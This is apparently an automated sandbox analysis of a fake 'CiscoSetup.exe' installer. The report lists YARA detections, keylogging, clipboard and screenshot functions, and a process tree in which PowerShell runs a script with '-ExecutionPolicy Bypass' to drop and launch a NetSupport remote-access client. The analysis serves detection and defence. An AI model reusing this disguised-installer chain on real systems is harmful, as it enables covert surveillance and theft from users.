Source: client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.netsupportsoftware.com
Source: client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: powershell.exe, 00000005.00000002.1991259471.0000000004D21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: CiscoSetup.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: CiscoSetup.exe, 00000000.00000003.2094322756.0000000000ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cisco.com
Source: CiscoSetup.exe, 00000000.00000003.2094322756.0000000000EE1000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029D1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cisco.com/support
Source: CiscoSetup.exe, 00000000.00000003.2094322756.0000000000EE1000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029D1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cisco.com/update
Source: CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cisco.comQ9
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp, is-1V30U.tmp.1.dr	String found in binary or memory: https://www.iminunet.com
Source: CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp, is-1V30U.tmp.1.dr	String found in binary or memory: https://www.iminunet.comPara
Source: is-C1171.tmp.1.dr	String found in binary or memory: https://www.immunet.com
Source: CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.immunet.com.
Source: CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.immunet.comAby
Source: CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.immunet.comVoor
Source: CiscoSetup.exe, 00000000.00000003.1688495970.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.exe, 00000000.00000003.1688004235.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000000.1690462646.0000000000481000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: CiscoSetup.exe, 00000000.00000003.1688495970.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.exe, 00000000.00000003.1688004235.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000000.1690462646.0000000000481000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality for read data from the clipboard

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1101F360 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

7_2_1101F360

Contains functionality to modify clipboard data

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1101F360 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	7_2_1101F360
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11032930 GetClipboardFormatNameA,SetClipboardData,	7_2_11032930
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1101F360 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	8_2_1101F360
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11032930 GetClipboardFormatNameA,SetClipboardData,	8_2_11032930

Contains functionality to read the clipboard data

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11031AC0 IsClipboardFormatAvailable,GetClipboardData,GlobalSize,GlobalLock,_memmove,GlobalUnlock,

7_2_11031AC0

Contains functionality to record screenshots

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11007720 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

7_2_11007720

Yara detected Keylogger Generic

Source: Yara match	File source: 7.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL, type: DROPPED

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-40G52.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DN046.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.cat (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva-6.cat (copy)	Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11112840 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		7_2_11112840
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11112840 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		8_2_11112840

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_6724.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6724, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\msvcr100.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll	Jump to dropped file

Abnormal high CPU Usage

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Process Stats: CPU usage > 49%

Contains functionality to communicate with device drivers

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_110A9240: DeviceIoControl,

7_2_110A9240

Contains functionality to launch a process as a different user

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_1115A340 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

7_2_1115A340

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		7_2_1102CE2D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		8_2_1102CE2D

Detected potential crypto function

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_089C3730	5_2_089C3730
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11029230	7_2_11029230
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11072460	7_2_11072460
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1115B180	7_2_1115B180
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1107F520	7_2_1107F520
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1101B980	7_2_1101B980
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1115F9F0	7_2_1115F9F0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1101BDC0	7_2_1101BDC0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11163C55	7_2_11163C55
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11050430	7_2_11050430
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110088DB	7_2_110088DB
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1101CBE0	7_2_1101CBE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11032A60	7_2_11032A60
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11086DA0	7_2_11086DA0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11044C60	7_2_11044C60
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_6859A980	7_2_6859A980
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C4910	7_2_685C4910
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C3923	7_2_685C3923
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_6859DBA0	7_2_6859DBA0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C3DB8	7_2_685C3DB8
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685CA063	7_2_685CA063
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C4156	7_2_685C4156
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_68591310	7_2_68591310
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1115B180	8_2_1115B180
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11029230	8_2_11029230
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1107F520	8_2_1107F520
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1101B980	8_2_1101B980
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1115F9F0	8_2_1115F9F0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1101BDC0	8_2_1101BDC0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11163C55	8_2_11163C55
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11050430	8_2_11050430
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11072460	8_2_11072460
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110088DB	8_2_110088DB
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1101CBE0	8_2_1101CBE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11032A60	8_2_11032A60
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11086DA0	8_2_11086DA0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11044C60	8_2_11044C60

Enables security privileges

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Process token adjusted: Security

Jump to behavior

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 685A7D00 appears 106 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 685A7A90 appears 50 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 685930A0 appears 42 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 11142A60 appears 1040 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 685B9480 appears 36 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 68596F50 appears 143 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 11080C50 appears 63 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 1116B7E0 appears 54 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 1115CBB3 appears 92 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 110290F0 appears 1872 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 1105D340 appears 484 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 1109CBD0 appears 32 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 111434D0 appears 42 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 1105D470 appears 40 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 11027550 appears 94 times
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: String function: 11160790 appears 64 times

PE file contains executable resources (Code or Archives)

Source: CiscoSetup.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-BOBU7.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-LMS1D.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

PE file contains more sections than normal

Source: CiscoSetup.tmp.0.dr	Static PE information: Number of sections : 11 > 10
Source: is-BOBU7.tmp.1.dr	Static PE information: Number of sections : 11 > 10
Source: CiscoSetup.exe	Static PE information: Number of sections : 11 > 10

Sample file is different than original file name gathered from version info

Source: CiscoSetup.exe, 00000000.00000003.1688495970.000000007F22B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs CiscoSetup.exe
Source: CiscoSetup.exe, 00000000.00000000.1682587708.0000000000779000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs CiscoSetup.exe
Source: CiscoSetup.exe, 00000000.00000003.1688004235.0000000002C6F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs CiscoSetup.exe
Source: CiscoSetup.exe	Binary or memory string: OriginalFileName vs CiscoSetup.exe

Uses 32bit PE files

Source: CiscoSetup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: amsi32_6724.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6724, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal54.rans.troj.evad.winEXE@10/537@3/3

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11059270 GetLastError,FormatMessageA,LocalFree,

7_2_11059270

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1109C750 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	7_2_1109C750
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1109C7E0 AdjustTokenPrivileges,CloseHandle,	7_2_1109C7E0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1109C750 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	8_2_1109C750
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1109C7E0 AdjustTokenPrivileges,CloseHandle,	8_2_1109C7E0

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11095C90 GetTickCount,CoInitialize,CLSIDFromProgID,CoCreateInstance,CoUninitialize,

7_2_11095C90

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11088290 FindResourceA,LoadResource,LockResource,

7_2_11088290

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

File created: C:\Program Files (x86)\Cisco

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Cisco

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2336:120:WilError_03

Source: C:\Users\user\Desktop\CiscoSetup.exe

File created: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp

Jump to behavior

Source: C:\Users\user\Desktop\CiscoSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\CiscoSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\CiscoSetup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: CiscoSetup.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\CiscoSetup.exe

File read: C:\Users\user\Desktop\CiscoSetup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CiscoSetup.exe "C:\Users\user\Desktop\CiscoSetup.exe"
Source: C:\Users\user\Desktop\CiscoSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe"
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\Cisco\client32.exe "C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Cisco\client32.exe "C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Cisco\client32.exe "C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Source: C:\Users\user\Desktop\CiscoSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\Cisco\client32.exe "C:\Users\user\AppData\Roaming\Cisco\client32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CiscoSetup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CiscoSetup.exe	Section loaded: apphelp.dll	Jump to behavior
